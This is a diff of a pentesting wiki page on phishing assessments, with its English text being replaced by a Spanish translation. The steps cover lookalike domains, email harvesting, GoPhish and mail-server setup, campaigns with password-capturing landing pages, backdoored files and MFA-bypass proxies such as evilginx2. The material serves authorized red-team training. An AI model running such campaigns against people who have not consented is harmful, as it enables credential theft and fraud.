{{#endref}}
|
{{#endref}}
|
||||||
- **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com).
|
- **Transposition:** Intercambia dos letras dentro del nombre de dominio (e.g., zelsetr.com).
|
||||||
- **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com).
|
- **Singularization/Pluralization**: Agrega o elimina una “s” al final del nombre de dominio (e.g., zeltsers.com).
|
||||||
- **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com).
|
- **Omission**: Elimina una de las letras del nombre de dominio (e.g., zelser.com).
|
||||||
- **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com).
|
- **Repetition:** Repite una de las letras en el nombre de dominio (e.g., zeltsser.com).
|
||||||
- **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com).
|
- **Replacement**: Como homoglyph pero menos sigiloso. Sustituye una de las letras en el nombre de dominio, quizá por una letra cercana a la original en el teclado (e.g, zektser.com).
|
||||||
- **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com).
|
- **Subdomained**: Introduce un **punto** dentro del nombre de dominio (e.g., ze.lster.com).
|
||||||
- **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com).
|
- **Insertion**: Inserta una letra en el nombre de dominio (e.g., zerltser.com).
|
||||||
- **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com)
|
- **Missing dot**: Añade la TLD al nombre de dominio sin el punto. (e.g., zelstercom.com)
|
||||||
|
|
||||||
**Automatic Tools**
|
**Herramientas automáticas**
|
||||||
|
|
||||||
- [**dnstwist**](https://github.com/elceef/dnstwist)
|
- [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||||
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||||
|
|
||||||
**Websites**
|
**Sitios web**
|
||||||
|
|
||||||
- [https://dnstwist.it/](https://dnstwist.it)
|
- [https://dnstwist.it/](https://dnstwist.it)
|
||||||
- [https://dnstwister.report/](https://dnstwister.report)
|
- [https://dnstwister.report/](https://dnstwister.report)
|
||||||
@ -52,25 +52,25 @@ homograph-attacks.md
|
|||||||
|
|
||||||
### Bitflipping
|
### Bitflipping
|
||||||
|
|
||||||
There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors.
|
Existe la **posibilidad de que uno o varios bits almacenados o en comunicación se inviertan automáticamente** debido a varios factores como las erupciones solares, los rayos cósmicos o errores de hardware.
|
||||||
|
|
||||||
When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested.
|
Cuando este concepto se **aplica a las solicitudes DNS**, es posible que el **dominio recibido por el servidor DNS** no sea el mismo que el solicitado inicialmente.
|
||||||
|
|
||||||
For example, a single bit modification in the domain "windows.com" can change it to "windnws.com."
|
Por ejemplo, una modificación de un solo bit en el dominio "windows.com" puede cambiarlo a "windnws.com".
|
||||||
|
|
||||||
Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure.
|
Los atacantes pueden **aprovechar esto registrando múltiples dominios con bit-flipping** que sean similares al dominio de la víctima. Su intención es redirigir a usuarios legítimos a su propia infraestructura.
|
||||||
|
|
||||||
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
Para más información lee [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||||
|
|
||||||
### Buy a trusted domain
|
### Comprar un dominio confiable
|
||||||
|
|
||||||
You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\
|
Puedes buscar en [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio expirado que puedas usar.\
|
||||||
Para asegurarte de que el dominio expirado que vas a comprar **ya tenga buen SEO** puedes comprobar cómo está categorizado en:
|
Para asegurarte de que el dominio expirado que vas a comprar **ya tiene un buen SEO** puedes comprobar cómo está categorizado en:
|
||||||
|
|
||||||
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||||
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||||
|
|
||||||
## Discovering Emails
|
## Descubrimiento de correos electrónicos
|
||||||
|
|
||||||
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
|
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
|
||||||
- [https://phonebook.cz/](https://phonebook.cz) (100% free)
|
- [https://phonebook.cz/](https://phonebook.cz) (100% free)
|
||||||
@ -78,17 +78,17 @@ Para asegurarte de que el dominio expirado que vas a comprar **ya tenga buen SEO
|
|||||||
- [https://hunter.io/](https://hunter.io)
|
- [https://hunter.io/](https://hunter.io)
|
||||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||||
|
|
||||||
Para **descubrir más** direcciones de correo válidas o **verificar las que** ya has encontrado, puedes comprobar si puedes hacer brute-force contra los servidores SMTP del objetivo. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
Para **descubrir más** direcciones de email válidas o **verificar las que** ya has descubierto, puedes comprobar si puedes hacer brute-force contra los servidores SMTP de la víctima. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||||
Además, no olvides que si los usuarios usan **algún portal web para acceder a sus correos**, puedes comprobar si es vulnerable a **username brute force**, y explotar la vulnerabilidad si es posible.
|
Además, no olvides que si los usuarios usan **algún portal web para acceder a sus correos**, puedes comprobar si es vulnerable a **username brute force**, y explotar la vulnerabilidad si es posible.
|
||||||
|
|
||||||
## Configuring GoPhish
|
## Configuración de GoPhish
|
||||||
|
|
||||||
### Installation
|
### Instalación
|
||||||
|
|
||||||
You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
Puedes descargarlo desde [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||||
|
|
||||||
Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\
|
Descarga y descomprímelo dentro de `/opt/gophish` y ejecuta `/opt/gophish/gophish`\
|
||||||
Se te proporcionará una contraseña para el usuario admin en el puerto 3333 en la salida. Por lo tanto, accede a ese puerto y usa esas credenciales para cambiar la contraseña del admin. Puede que necesites tunelar ese puerto a local:
|
Se te mostrará una contraseña para el usuario admin en el puerto 3333 en la salida. Por tanto, accede a ese puerto y usa esas credenciales para cambiar la contraseña de admin. Puede que necesites tunelizar ese puerto a local:
|
||||||
```bash
|
```bash
|
||||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||||
```
|
```
|
||||||
@ -112,9 +112,9 @@ mkdir /opt/gophish/ssl_keys
|
|||||||
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
|
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
|
||||||
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||||
```
|
```
|
||||||
**Configuración del correo**
|
**Configuración de correo**
|
||||||
|
|
||||||
Comienza instalando: `apt-get install postfix`
|
Instala: `apt-get install postfix`
|
||||||
|
|
||||||
Luego añade el dominio a los siguientes archivos:
|
Luego añade el dominio a los siguientes archivos:
|
||||||
|
|
||||||
@ -122,16 +122,16 @@ Luego añade el dominio a los siguientes archivos:
|
|||||||
- **/etc/postfix/transport**
|
- **/etc/postfix/transport**
|
||||||
- **/etc/postfix/virtual_regexp**
|
- **/etc/postfix/virtual_regexp**
|
||||||
|
|
||||||
**Cambia también los valores de las siguientes variables dentro de /etc/postfix/main.cf**
|
Cambia también los valores de las siguientes variables dentro de /etc/postfix/main.cf
|
||||||
|
|
||||||
`myhostname = <domain>`\
|
`myhostname = <domain>`\
|
||||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||||
|
|
||||||
Finalmente modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** con tu nombre de dominio y **reinicia tu VPS.**
|
Finalmente modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** con tu nombre de dominio y **reinicia tu VPS.**
|
||||||
|
|
||||||
Ahora, crea un **registro DNS A** de `mail.<domain>` que apunte a la **dirección IP** del VPS y un **registro DNS MX** que apunte a `mail.<domain>`
|
Ahora crea un **registro DNS A** de `mail.<domain>` apuntando a la **dirección IP** del VPS y un **registro DNS MX** apuntando a `mail.<domain>`
|
||||||
|
|
||||||
Ahora vamos a probar a enviar un correo:
|
Ahora probemos enviar un correo:
|
||||||
```bash
|
```bash
|
||||||
apt install mailutils
|
apt install mailutils
|
||||||
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
||||||
@ -166,7 +166,7 @@ Modifica `/opt/gophish/config.json` a lo siguiente (nota el uso de https):
|
|||||||
```
|
```
|
||||||
**Configurar el servicio gophish**
|
**Configurar el servicio gophish**
|
||||||
|
|
||||||
Para crear el servicio gophish de modo que pueda iniciarse automáticamente y gestionarse como un servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido:
|
Para crear el servicio gophish para que pueda iniciarse automáticamente y gestionarse como servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido:
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# /etc/init.d/gophish
|
# /etc/init.d/gophish
|
||||||
@ -213,7 +213,7 @@ case $1 in
|
|||||||
start|stop|status) "$1" ;;
|
start|stop|status) "$1" ;;
|
||||||
esac
|
esac
|
||||||
```
|
```
|
||||||
Termina de configurar el servicio y compruébalo haciendo:
|
Termina de configurar el servicio y comprueba que esté funcionando:
|
||||||
```bash
|
```bash
|
||||||
mkdir /var/log/gophish
|
mkdir /var/log/gophish
|
||||||
chmod +x /etc/init.d/gophish
|
chmod +x /etc/init.d/gophish
|
||||||
@ -224,11 +224,11 @@ service gophish status
|
|||||||
ss -l | grep "3333\|443"
|
ss -l | grep "3333\|443"
|
||||||
service gophish stop
|
service gophish stop
|
||||||
```
|
```
|
||||||
## Configurando servidor de correo y dominio
|
## Configuring mail server and domain
|
||||||
|
|
||||||
### Espera y sé legítimo
|
### Wait & be legit
|
||||||
|
|
||||||
Cuanto más antiguo sea un dominio, menos probable será que sea detectado como spam. Por tanto, debes esperar tanto tiempo como sea posible (al menos 1 semana) antes de la evaluación de phishing. Además, si pones una página relacionada con un sector con reputación, la reputación obtenida será mejor.
|
Cuanto más antiguo sea un dominio, menos probable es que sea marcado como spam. Por eso debes esperar el mayor tiempo posible (al menos 1 semana) antes de la evaluación de phishing. Además, si publicas una página relacionada con un sector con buena reputación, la reputación obtenida será mejor.
|
||||||
|
|
||||||
Ten en cuenta que, aunque tengas que esperar una semana, puedes terminar de configurar todo ahora.
|
Ten en cuenta que, aunque tengas que esperar una semana, puedes terminar de configurar todo ahora.
|
||||||
|
|
||||||
@ -240,19 +240,19 @@ Configura un registro rDNS (PTR) que resuelva la dirección IP del VPS al nombre
|
|||||||
|
|
||||||
Debes **configurar un registro SPF para el nuevo dominio**. Si no sabes qué es un registro SPF [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
Debes **configurar un registro SPF para el nuevo dominio**. Si no sabes qué es un registro SPF [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
||||||
|
|
||||||
Puedes usar [https://www.spfwizard.net/](https://www.spfwizard.net) para generar tu política SPF (usa la IP de la máquina VPS)
|
You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Este es el contenido que debe establecerse dentro de un registro TXT en el dominio:
|
This is the content that must be set inside a TXT record inside the domain:
|
||||||
```bash
|
```bash
|
||||||
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||||
```
|
```
|
||||||
### Registro DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
### Registro DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||||
|
|
||||||
Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
||||||
|
|
||||||
Tienes que crear un nuevo registro DNS TXT apuntando el hostname `_dmarc.<domain>` con el siguiente contenido:
|
Debes crear un nuevo registro DNS TXT que apunte al hostname `_dmarc.<domain>` con el siguiente contenido:
|
||||||
```bash
|
```bash
|
||||||
v=DMARC1; p=none
|
v=DMARC1; p=none
|
||||||
```
|
```
|
||||||
@ -260,7 +260,7 @@ v=DMARC1; p=none
|
|||||||
|
|
||||||
Debes **configurar un DKIM para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
|
Debes **configurar un DKIM para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
|
||||||
|
|
||||||
Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
Este tutorial está basado en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Necesitas concatenar ambos valores B64 que genera la clave DKIM:
|
> Necesitas concatenar ambos valores B64 que genera la clave DKIM:
|
||||||
@ -269,14 +269,14 @@ Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how-
|
|||||||
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
|
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
### Prueba la puntuación de la configuración de tu correo electrónico
|
### Prueba la puntuación de la configuración de tu email
|
||||||
|
|
||||||
Puedes hacerlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
|
Puedes hacerlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
|
||||||
Solo accede a la página y envía un correo a la dirección que te dan:
|
Simplemente accede a la página y envía un email a la dirección que te dan:
|
||||||
```bash
|
```bash
|
||||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||||
```
|
```
|
||||||
También puedes **comprobar tu configuración de correo** enviando un correo a `check-auth@verifier.port25.com` y **leer la respuesta** (para esto necesitarás **abrir** el puerto **25** y ver la respuesta en el archivo _/var/mail/root_ si envías el correo como root).\
|
También puedes **comprobar la configuración de tu email** enviando un email a `check-auth@verifier.port25.com` y **leer la respuesta** (para esto necesitarás **abrir** port **25** y ver la respuesta en el archivo _/var/mail/root_ si envías el email como root).\
|
||||||
Comprueba que pasas todas las pruebas:
|
Comprueba que pasas todas las pruebas:
|
||||||
```bash
|
```bash
|
||||||
==========================================================
|
==========================================================
|
||||||
@ -288,40 +288,40 @@ DKIM check: pass
|
|||||||
Sender-ID check: pass
|
Sender-ID check: pass
|
||||||
SpamAssassin check: ham
|
SpamAssassin check: ham
|
||||||
```
|
```
|
||||||
También puedes enviar un **mensaje a un Gmail bajo tu control**, y comprobar las **cabeceras del correo** en tu bandeja de entrada de Gmail, `dkim=pass` debería estar presente en el campo de cabecera `Authentication-Results`.
|
También podrías enviar **un mensaje a una cuenta de Gmail bajo tu control**, y revisar los **encabezados del correo** en tu bandeja de entrada de Gmail, `dkim=pass` debería estar presente en el campo `Authentication-Results`.
|
||||||
```
|
```
|
||||||
Authentication-Results: mx.google.com;
|
Authentication-Results: mx.google.com;
|
||||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||||
dkim=pass header.i=@example.com;
|
dkim=pass header.i=@example.com;
|
||||||
```
|
```
|
||||||
### Eliminación de la lista negra de Spamhouse
|
### Eliminación de Spamhouse Blacklist
|
||||||
|
|
||||||
La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si tu dominio está siendo bloqueado por Spamhouse. Puedes solicitar que tu dominio/IP sea eliminado en: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si tu dominio está siendo bloqueado por spamhouse. Puedes solicitar que tu dominio/IP sea eliminado en: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||||
|
|
||||||
### Eliminación de la lista negra de Microsoft
|
### Eliminación de Microsoft Blacklist
|
||||||
|
|
||||||
Puedes solicitar que tu dominio/IP sea eliminado en [https://sender.office.com/](https://sender.office.com).
|
Puedes solicitar que tu dominio/IP sea eliminado en [https://sender.office.com/](https://sender.office.com).
|
||||||
|
|
||||||
## Crear & lanzar campaña de GoPhish
|
## Crear y lanzar campaña de GoPhish
|
||||||
|
|
||||||
### Perfil de envío
|
### Perfil de envío
|
||||||
|
|
||||||
- Asigna algún **nombre para identificar** el perfil del remitente
|
- Pon algún **nombre para identificar** el perfil del remitente
|
||||||
- Decide desde qué cuenta vas a enviar los emails de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._
|
- Decide desde qué cuenta vas a enviar los correos de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._
|
||||||
- Puedes dejar en blanco el username y password, pero asegúrate de marcar Ignore Certificate Errors
|
- Puedes dejar en blanco el username y password, pero asegúrate de marcar la opción Ignore Certificate Errors
|
||||||
|
|
||||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\
|
> Se recomienda usar la funcionalidad "**Send Test Email**" para comprobar que todo funciona.\
|
||||||
> Recomiendo **enviar los correos de prueba a direcciones de 10min mails** para evitar ser listado en listas negras al hacer pruebas.
|
> Recomendaría **enviar los correos de prueba a direcciones 10min mails** para evitar ser blacklisted al hacer pruebas.
|
||||||
|
|
||||||
### Plantilla de correo
|
### Plantilla de email
|
||||||
|
|
||||||
- Asigna algún **nombre para identificar** la plantilla
|
- Pon algún **nombre para identificar** la plantilla
|
||||||
- Luego escribe un **subject** (nada extraño, simplemente algo que esperarías leer en un correo normal)
|
- Luego escribe un **subject** (nada extraño, algo que podrías esperar leer en un correo normal)
|
||||||
- Asegúrate de haber marcado "**Add Tracking Image**"
|
- Asegúrate de haber marcado "**Add Tracking Image**"
|
||||||
- Escribe la **email template** (puedes usar variables como en el siguiente ejemplo):
|
- Escribe la **plantilla de email** (puedes usar variables como en el siguiente ejemplo):
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
@ -340,65 +340,65 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
Tenga en cuenta que **para aumentar la credibilidad del correo electrónico**, se recomienda usar alguna firma de un email del cliente. Sugerencias:
|
Tenga en cuenta que, para **aumentar la credibilidad del correo**, se recomienda usar alguna firma de un correo real del cliente. Sugerencias:
|
||||||
|
|
||||||
- Enviar un email a una **dirección inexistente** y comprobar si la respuesta tiene alguna firma.
|
- Enviar un correo a una **dirección inexistente** y comprobar si la respuesta contiene alguna firma.
|
||||||
- Buscar **emails públicos** como info@ex.com o press@ex.com o public@ex.com y enviarles un correo y esperar la respuesta.
|
- Buscar **correos públicos** como info@ex.com o press@ex.com o public@ex.com y enviarles un correo y esperar la respuesta.
|
||||||
- Intentar contactar **algún email válido descubierto** y esperar la respuesta
|
- Intentar contactar **algún email válido descubierto** y esperar la respuesta.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
> La Plantilla de Email también permite **adjuntar archivos para enviar**. Si además quieres robar desafíos NTLM usando algunos ficheros/documentos especialmente diseñados [lee esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||||
|
|
||||||
### Página de destino
|
### Página de aterrizaje
|
||||||
|
|
||||||
- Escribir un **nombre**
|
- Escribir un **nombre**
|
||||||
- **Escribir el código HTML** de la página web. Ten en cuenta que puedes **importar** páginas web.
|
- **Escribir el código HTML** de la página web. Ten en cuenta que puedes **importar** páginas web.
|
||||||
- Marcar **Capture Submitted Data** y **Capture Passwords**
|
- Marcar **Capture Submitted Data** y **Capture Passwords**
|
||||||
- Establecer una **redirección**
|
- Configurar una **redirección**
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Normalmente necesitarás modificar el código HTML de la página y hacer algunas pruebas en local (quizá usando algún servidor Apache) **hasta que te guste el resultado.** Entonces, pega ese código HTML en el cuadro.\
|
> Normalmente necesitarás modificar el código HTML de la página y hacer algunas pruebas localmente (quizá usando algún servidor Apache) **hasta que te gusten los resultados.** Luego, escribe ese código HTML en el recuadro.\
|
||||||
> Ten en cuenta que si necesitas **usar recursos estáticos** para el HTML (por ejemplo CSS y JS) puedes guardarlos en _**/opt/gophish/static/endpoint**_ y luego acceder a ellos desde _**/static/\<filename>**_
|
> Ten en cuenta que si necesitas **usar algunos recursos estáticos** para el HTML (quizá CSS y JS) puedes guardarlos en _**/opt/gophish/static/endpoint**_ y luego acceder a ellos desde _**/static/\<filename>**_
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Para la redirección podrías **redirigir a los usuarios a la web legítima principal** de la víctima, o redirigirlos a _/static/migration.html_ por ejemplo, poner una **rueda giratoria (**[**https://loading.io/**](https://loading.io)**) durante 5 segundos y luego indicar que el proceso fue exitoso**.
|
> Para la redirección podrías **redirigir a los usuarios a la página legítima principal** de la víctima, o redirigirlos a _/static/migration.html_ por ejemplo, poner una **rueda de carga (**[**https://loading.io/**](https://loading.io)**) durante 5 segundos y luego indicar que el proceso fue exitoso**.
|
||||||
|
|
||||||
### Usuarios & Grupos
|
### Usuarios y Grupos
|
||||||
|
|
||||||
- Establecer un nombre
|
- Poner un nombre
|
||||||
- **Importar los datos** (ten en cuenta que para usar la plantilla en el ejemplo necesitas el firstname, last name y email address de cada usuario)
|
- **Importar los datos** (nota que para usar la plantilla de ejemplo necesitas el firstname, last name y email address de cada usuario)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Campaña
|
### Campaña
|
||||||
|
|
||||||
Finalmente, crea una campaña seleccionando un nombre, la plantilla de email, la landing page, la URL, el Sending Profile y el grupo. Ten en cuenta que la URL será el enlace enviado a las víctimas
|
Finalmente, crea una campaña seleccionando un nombre, la plantilla de email, la landing page, la URL, el perfil de envío y el grupo. Ten en cuenta que la URL será el enlace enviado a las víctimas.
|
||||||
|
|
||||||
Ten en cuenta que el **Sending Profile permite enviar un email de prueba para ver cómo quedará el correo final de phishing**:
|
Ten en cuenta que el **Sending Profile permite enviar un email de prueba para ver cómo quedará el phishing final**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Recomendaría **enviar los correos de prueba a direcciones 10min mails** para evitar ser blacklistado mientras haces pruebas.
|
> Recomendaría **enviar los correos de prueba a direcciones 10min mails** para evitar ser incluido en listas negras mientras realizas pruebas.
|
||||||
|
|
||||||
¡Una vez que todo esté listo, lanza la campaña!
|
¡Una vez que todo esté listo, lanza la campaña!
|
||||||
|
|
||||||
## Website Cloning
|
## Clonación de sitio web
|
||||||
|
|
||||||
Si por alguna razón quieres clonar el sitio web, consulta la siguiente página:
|
Si por alguna razón quieres clonar el sitio web consulta la siguiente página:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
clone-a-website.md
|
clone-a-website.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Backdoored Documents & Files
|
## Documentos y archivos con backdoor
|
||||||
|
|
||||||
En algunas evaluaciones de phishing (principalmente para Red Teams) también querrás **enviar archivos que contengan algún tipo de backdoor** (quizá un C2 o quizá algo que solo desencadene una autenticación).\
|
En algunas evaluaciones de phishing (principalmente para Red Teams) querrás también **enviar archivos que contengan algún tipo de backdoor** (quizá un C2 o quizá algo que provoque una autenticación).\
|
||||||
Consulta la siguiente página para algunos ejemplos:
|
Consulta la siguiente página para algunos ejemplos:
|
||||||
|
|
||||||
|
|
||||||
@ -408,55 +408,55 @@ phishing-documents.md
|
|||||||
|
|
||||||
## Phishing MFA
|
## Phishing MFA
|
||||||
|
|
||||||
### Via Proxy MitM
|
### Vía Proxy MitM
|
||||||
|
|
||||||
El ataque anterior es bastante ingenioso ya que estás falsificando un sitio real y recopilando la información que introduce el usuario. Desafortunadamente, si el usuario no introduce la contraseña correcta o si la aplicación que falsificaste está configurada con 2FA, **esa información no te permitirá suplantar al usuario engañado**.
|
El ataque anterior es bastante ingenioso ya que estás falsificando una web real y recopilando la información introducida por el usuario. Desafortunadamente, si el usuario no introduce la contraseña correcta o si la aplicación que has falsificado está configurada con 2FA, **esta información no te permitirá suplantar al usuario engañado**.
|
||||||
|
|
||||||
Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) y [**muraena**](https://github.com/muraenateam/muraena) son útiles. Esta herramienta te permitirá generar un ataque tipo MitM. Básicamente, el ataque funciona de la siguiente manera:
|
Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) y [**muraena**](https://github.com/muraenateam/muraena) resultan útiles. Esta herramienta te permitirá generar un ataque MitM. Básicamente, el ataque funciona de la siguiente manera:
|
||||||
|
|
||||||
1. Tú **suplantas el formulario de login** de la página real.
|
1. Tú **suplantas el formulario de login** de la página real.
|
||||||
